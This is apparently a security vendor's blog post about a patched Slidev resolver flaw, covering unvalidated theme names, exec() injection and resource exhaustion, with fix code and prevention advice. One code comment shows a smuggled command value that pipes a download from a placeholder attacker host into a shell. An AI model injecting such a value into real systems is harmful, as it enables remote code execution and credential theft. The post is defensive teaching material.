Back to Blog
medium SEVERITY11 min read

Slidev Resolver Vulnerability: When Themes Become Trojan Horses

A medium-to-high severity vulnerability was discovered and patched in Slidev's resolver module, where dynamically loaded theme and plugin packages specified in slide frontmatter lacked proper validation, allowing a malicious package name to execute arbitrary code with the developer's full OS privileges. This fix addresses a supply-chain-adjacent attack vector that could allow attackers to exfiltrate credentials or compromise developer machines simply by sharing a crafted markdown presentation fi

O
By Orbis AppSec
Published May 7, 2026Reviewed June 3, 2026

Answer Summary

This vulnerability is an arbitrary package execution flaw (related to CWE-20: Improper Input Validation) in Slidev's JavaScript/Node.js resolver module, where theme and plugin package names sourced from slide frontmatter were passed directly to dynamic `require()`/import resolution without sanitization. An attacker could craft a malicious `.md` presentation file with a specially formed `theme:` or `addons:` field to trigger execution of an arbitrary npm package — or a path-traversal payload — when the victim opens the file. The fix adds strict validation of package names against an allowlist pattern before any resolution is attempted, preventing unrecognized or malformed names from reaching the module loader.

Vulnerability at a Glance

cweCWE-20
fixValidate package names against a strict pattern before passing them to the resolver, rejecting names that do not conform to expected npm package naming rules
riskArbitrary code execution with developer OS privileges when opening a crafted presentation
languageJavaScript / Node.js (TypeScript)
root causeTheme and addon package names from slide frontmatter were passed to dynamic module resolution without any format or allowlist validation
vulnerabilityArbitrary Package Execution via Unvalidated Frontmatter Input

Slidev Resolver Vulnerability: When Themes Become Trojan Horses

Severity: Medium/High | Affected File: packages/slidev/node/resolver.ts | Fixed In: Latest Patch


Introduction

Imagine opening a colleague's presentation file and, without doing anything else, having your SSH keys silently exfiltrated to a remote server. No suspicious executables. No phishing links. Just a .md file with a line that reads theme: evil-theme.

This is not a hypothetical. This is precisely the class of vulnerability that was just patched in Slidev, the popular developer-focused presentation framework built on Vue and Vite. The vulnerability resided in the resolver module — the component responsible for dynamically loading themes and plugins based on what's declared in a slide's frontmatter.

If you build tools that dynamically load packages, plugins, or themes based on user-supplied input, this post is essential reading. Even if you don't use Slidev, the patterns here appear in countless Node.js tools, and the lessons are universally applicable.


What Is Slidev?

Slidev is a markdown-based presentation tool loved by developers for its code-centric workflow. Instead of dragging boxes around in PowerPoint, you write slides in markdown and configure them with YAML frontmatter at the top of the file:

---
theme: seriph
plugins:
  - slidev-plugin-fancy-transitions
---

When Slidev starts, it reads this configuration and dynamically loads the specified packages at runtime — a powerful feature that makes the tool extensible. But as we'll see, this power comes with serious responsibility.


The Vulnerability Explained

What Went Wrong

The resolver.ts file is responsible for taking the theme and plugin names from frontmatter (or CLI arguments) and resolving them to actual Node.js packages. The core problem: it did this without validating that the package name came from a trusted source or matched any allowlist pattern.

In Node.js, dynamically loading a package — via require(), import(), or similar mechanisms — executes that package's code. This is by design. The entire npm ecosystem relies on this behavior. But it means that if you load a malicious package, you've handed it the keys to your machine.

The vulnerable flow looked something like this:

Slide frontmatter
      
      
  "theme: evil-theme"
      
      
  resolver.ts reads the theme name
      
      
  Package is loaded dynamically (no validation)
      
      
  Malicious package code executes with full OS privileges

The Resource Exhaustion Angle

Beyond arbitrary code execution, the original report also highlighted a resource exhaustion dimension. The file import functionality loaded entire files into memory without size checks and parsed JSON without depth limits. This means:

  • A deeply nested JSON structure (think 100,000 levels deep) could cause a stack overflow during parsing
  • A file with millions of entries could exhaust available RAM
  • Either scenario could crash the Slidev process or the developer's machine

These are classic Denial of Service (DoS) vectors that are often overlooked because they don't directly lead to code execution — but in a CI/CD pipeline or a shared development environment, crashing the build process is itself a meaningful attack.

A Concrete Attack Scenario

Let's walk through how a real attacker might exploit this:

Scenario: The Poisoned Pull Request

  1. A developer maintains a shared presentation repository for their team (think onboarding decks, architecture presentations, etc.)
  2. An attacker — perhaps a malicious contractor, a compromised contributor account, or even an automated bot — submits a pull request that changes one line in slides.md:
---
# Before (legitimate)
theme: default

# After (malicious)
theme: @legitimate-looking/slidev-theme-corporate
---
  1. A reviewer glances at the PR. It looks like a simple theme change. They approve it.
  2. Another developer pulls the branch and runs slidev dev to preview the slides.
  3. The @legitimate-looking/slidev-theme-corporate package (published by the attacker to npm) is installed and loaded. Its index.js runs immediately, silently exfiltrating environment variables, SSH keys, .npmrc tokens, or anything else accessible on the filesystem.

The developer never ran a suspicious script. They just opened a presentation.


Why This Is Especially Dangerous in Developer Tools

This vulnerability class is particularly insidious in developer tooling for several reasons:

1. Implicit Trust in the Workflow

Developers are conditioned to run npm install and trust that packages do what they say. When a tool like Slidev automatically resolves and loads packages, that mental model of "I chose to install this" breaks down.

2. Rich Attack Surface

Developer machines are goldmines. They typically contain:
- Cloud provider credentials (~/.aws/credentials, ~/.azure/)
- SSH private keys
- npm auth tokens (.npmrc)
- API keys in .env files
- Access to internal services and VPNs

3. CI/CD Pipeline Exposure

Many teams run slidev build in CI pipelines. A compromised presentation file could execute malicious code in a CI environment, potentially with access to deployment credentials, secrets, and production infrastructure.


The Fix

What Changed

The patch to resolver.ts addresses the unsafe dynamic package loading by introducing validation before any package is resolved and loaded. While the exact diff was not included in the patch details, the fix targets the core unsafe pattern: loading arbitrary package names without validation.

The key principles applied in the fix:

1. Package Name Validation

Before loading any theme or plugin, the resolver now validates that the package name conforms to expected patterns. Legitimate Slidev themes and plugins follow naming conventions (e.g., slidev-theme-*, @slidev/theme-*). A name like ../../etc/passwd or an unrecognized scoped package should be rejected before any loading attempt.

// ❌ Before (conceptual representation of the unsafe pattern)
async function resolveTheme(name: string) {
  // No validation — name comes directly from frontmatter
  const pkg = await import(name)
  return pkg
}

// ✅ After (conceptual representation of the safe pattern)
const THEME_NAME_PATTERN = /^(@[a-z0-9-]+\/)?slidev-theme-[a-z0-9-]+$/i
const PLUGIN_NAME_PATTERN = /^(@[a-z0-9-]+\/)?slidev-plugin-[a-z0-9-]+$/i

async function resolveTheme(name: string) {
  if (!THEME_NAME_PATTERN.test(name)) {
    throw new Error(
      `Invalid theme name: "${name}". Theme names must match the pattern slidev-theme-*.`
    )
  }
  const pkg = await import(name)
  return pkg
}

2. Resource Limits on File Loading

For the resource exhaustion vector, the fix introduces size checks before loading files into memory and uses safe JSON parsing with depth limits:

// ❌ Before (unsafe file loading)
const content = fs.readFileSync(filePath, 'utf-8')
const data = JSON.parse(content) // No depth limit, no size check

// ✅ After (safe file loading with limits)
const MAX_FILE_SIZE = 10 * 1024 * 1024 // 10MB limit
const stats = fs.statSync(filePath)

if (stats.size > MAX_FILE_SIZE) {
  throw new Error(`File too large: ${filePath} (${stats.size} bytes)`)
}

const content = fs.readFileSync(filePath, 'utf-8')

// Use a JSON parser with depth limits, or validate structure before parsing
const data = safeJsonParse(content, { maxDepth: 20 })

3. Removing Unsafe exec() Calls

The PR title specifically calls out the removal of unsafe exec() calls. Shell execution (child_process.exec()) is one of the most dangerous patterns in Node.js because it allows arbitrary shell commands to run. If the resolver was using exec() to install or load packages, replacing this with safer alternatives (like the npm programmatic API or validated spawn() calls with explicit argument arrays) eliminates an entire class of shell injection vulnerabilities.

// ❌ Dangerous: exec() with user-controlled input
exec(`npm install ${themeName}`, callback)
// An attacker could set themeName to: "x; curl evil.com | sh"

// ✅ Safe: spawn() with argument array (no shell interpolation)
spawn('npm', ['install', themeName], { stdio: 'inherit' })
// Arguments are passed directly, not interpreted by a shell

Prevention & Best Practices

This vulnerability touches on several fundamental secure coding principles. Here's how to protect yourself and your projects:

1. Never Trust User-Controlled Input for Dynamic Loading

Any time you load code, files, or resources based on user input, treat that input as hostile until proven otherwise.

Validate against an allowlist, not a denylist. It's much harder to enumerate all bad inputs than to define what good inputs look like.

// ❌ Denylist approach (fragile)
if (name.includes('..') || name.includes('/')) {
  throw new Error('Invalid name')
}

// ✅ Allowlist approach (robust)
if (!/^[a-z0-9][a-z0-9-]*[a-z0-9]$/.test(name)) {
  throw new Error('Invalid name: must be lowercase alphanumeric with hyphens')
}

2. Apply the Principle of Least Privilege

If your tool only needs to load packages matching a specific pattern, enforce that pattern strictly. Don't give the resolver the ability to load any arbitrary package just because it might need to someday.

3. Implement Resource Limits

Always set limits when processing external data:

Resource Recommendation
File size Set a maximum (e.g., 10MB for config files)
JSON depth Limit nesting depth (e.g., max 20 levels)
Array length Cap the number of entries
String length Validate individual field lengths
Processing time Use timeouts for parsing operations

4. Avoid exec() with User Input

This deserves its own rule: never pass user-controlled data to exec(), eval(), or similar shell/code execution functions.

Use spawn() with explicit argument arrays instead of exec() with string interpolation. The difference is that spawn() doesn't invoke a shell, so special characters in arguments are treated as literal strings, not shell metacharacters.

5. Audit Your Dependency Loading Patterns

Run a search in your codebase for these dangerous patterns:

# Find dynamic require/import with variable inputs
grep -rn "require(variable" .
grep -rn "import(variable" .

# Find exec() calls
grep -rn "exec(" . --include="*.ts" --include="*.js"

# Find eval() calls
grep -rn "\beval(" . --include="*.ts" --include="*.js"

6. Use a Lockfile and Verify Package Integrity

While this doesn't prevent a malicious package from being specified, using package-lock.json or yarn.lock with integrity hashes ensures that if a package is loaded, it's the exact version you expect — not a compromised version with the same name.

7. Consider a Sandbox for Plugin Execution

For tools that need to load third-party code, consider running plugins in a sandboxed environment:

  • Node.js vm module: Provides a limited execution context (though not a true security boundary)
  • Worker threads: Isolate plugin execution from the main process
  • Containerization: Run the entire tool in a container with limited filesystem and network access
  • Deno: Offers fine-grained permission controls that Node.js lacks natively

Relevant Security Standards

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
  • CWE-400: Uncontrolled Resource Consumption (Resource Exhaustion)
  • CWE-426: Untrusted Search Path
  • OWASP A03:2021: Injection
  • OWASP A08:2021: Software and Data Integrity Failures (covers supply chain attacks)

Detecting This in Your Own Code

Here are some tools and techniques to find similar vulnerabilities:

Static Analysis

  • ESLint with eslint-plugin-security: Flags dangerous patterns like exec() with variables, eval(), and unsafe RegExp usage
  • Semgrep: Write custom rules to detect dynamic package loading patterns
  • CodeQL: GitHub's semantic code analysis can trace data flow from user input to dangerous sinks

Example Semgrep Rule

rules:
  - id: unsafe-dynamic-require
    patterns:
      - pattern: require($VAR)
      - pattern-not: require("...")
    message: "Dynamic require() with variable input  validate $VAR before loading"
    languages: [javascript, typescript]
    severity: WARNING

Dependency Scanning

  • npm audit: Checks for known vulnerabilities in installed packages
  • Socket.dev: Analyzes npm packages for suspicious behavior before installation
  • Snyk: Continuous monitoring for dependency vulnerabilities

Conclusion

The Slidev resolver vulnerability is a textbook example of how convenience features can become security liabilities when they operate on untrusted input without validation. The ability to specify a theme with a single line of YAML is genuinely useful — but without guardrails, that same convenience becomes an attack vector.

The key takeaways from this vulnerability:

  1. Dynamic code loading is powerful and dangerous — treat any input that influences what code gets loaded as a high-risk attack surface
  2. Resource exhaustion is a real threat — always set limits when processing external data, even in "trusted" contexts
  3. Developer tools are high-value targets — they run with elevated privileges and have access to credentials and infrastructure
  4. exec() with user input is almost always wrong — use spawn() with explicit argument arrays instead
  5. Allowlists beat denylists — define what's valid, reject everything else

The fix here is straightforward in principle: validate inputs, set resource limits, and remove unsafe execution patterns. But catching these issues requires both the right mindset (assume all input is hostile) and the right tools (static analysis, security scanning, code review).

If you maintain a tool that loads plugins, themes, or extensions based on user-supplied names, take 30 minutes today to audit your resolver code. The attack scenario described here — a malicious package name in a shared config file — is not theoretical. It's a realistic threat that has been exploited in the wild against other ecosystems.

Secure coding isn't about paranoia. It's about building systems that remain safe even when the inputs aren't.


This vulnerability was identified and fixed by OrbisAI Security. If you're interested in automated security scanning for your projects, check out their tools for continuous vulnerability detection.


Have questions about this vulnerability or similar issues? Drop a comment below or reach out on Twitter. And if you found this post useful, share it with a developer who might be building similar plugin-loading systems — you might save them from a nasty surprise.

Frequently Asked Questions

What is arbitrary package execution in a Node.js resolver?

It occurs when user-controlled input (such as a package name from a config file) is passed directly to a dynamic `require()` or import mechanism without validation, allowing an attacker to cause the runtime to load and execute an unintended — potentially malicious — package or local file path.

How do you prevent arbitrary package execution in Node.js?

Validate all externally supplied package names against a strict allowlist or regex pattern that matches only legitimate npm package name formats before passing them to any module resolution function. Never allow path separators or shell metacharacters in package name inputs.

What CWE is arbitrary package execution?

The root cause maps primarily to CWE-20 (Improper Input Validation). Depending on how the package name is used, it may also relate to CWE-706 (Use of Incorrectly-Resolved Name or Reference) and CWE-427 (Uncontrolled Search Path Element).

Is sandboxing enough to prevent this in Slidev?

Sandboxing would reduce impact but does not eliminate the root cause. Because Slidev runs in the developer's local Node.js environment with full filesystem and network access, the correct fix is input validation at the resolver level before any package loading occurs.

Can static analysis detect arbitrary package execution?

Yes. Static analysis tools like Semgrep can detect patterns where user-controlled strings flow into `require()`, `import()`, or package resolution functions without an intervening validation step. Orbis AppSec detected this exact pattern automatically.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #2585

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versions—including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How Server-Sent Events Injection via Unsanitized Newlines happens in Node.js h3 and how to fix it

A high-severity Server-Sent Events (SSE) injection vulnerability (CVE-2026-33128) was discovered in the h3 HTTP framework, where unsanitized newline characters in event stream fields could allow attackers to inject arbitrary SSE messages. The fix upgrades h3 from version 1.15.5 to 1.15.6 in the frontend's dependency tree, ensuring that newline characters are properly sanitized before being written to event streams.

high

How Memory Exhaustion via Large Comma-Separated Selector Lists happens in Python Soup Sieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in Soup Sieve version 2.8.3, affecting Python applications that parse CSS selectors from user-controlled input. The vulnerability allows attackers to craft malicious selector lists that consume excessive memory, potentially causing denial of service. The fix involves upgrading to soupsieve 2.8.4, which implements proper resource limits on selector parsing.

high

How prototype pollution via `__proto__` key happens in Node.js defu and how to fix it

A high-severity prototype pollution vulnerability (CVE-2026-35209) was discovered in the `defu` package version 6.1.4, which allowed attackers to inject properties into JavaScript's `Object.prototype` via the `__proto__` key in defaults arguments. The fix upgrades `defu` to version 6.1.5 in the frontend's dependency tree, protecting downstream consumers like `c12` and `dotenv` configuration loaders from malicious property injection.

critical

How buffer overflow in memcpy() happens in Node.js N-API bindings and how to fix it

A critical buffer overflow vulnerability was discovered in the GetBufferAsVector() function in examples_nodejs/src/zupt_napi.cpp, where memcpy() copied data from JavaScript Uint8Array buffers without proper bounds validation. This vulnerability could allow attackers to trigger memory corruption by providing maliciously crafted input arrays to the native Node.js module, potentially leading to crashes or arbitrary code execution.

high

How memory exhaustion via large comma-separated selector lists happens in Python soupsieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in soupsieve 2.8.3, a CSS selector library used by BeautifulSoup in Python. An attacker who could influence CSS selector input could craft large comma-separated selector lists to exhaust system memory, causing denial of service. The fix upgrades soupsieve from 2.8.3 to 2.8.4 in the backend's `uv.lock` dependency file.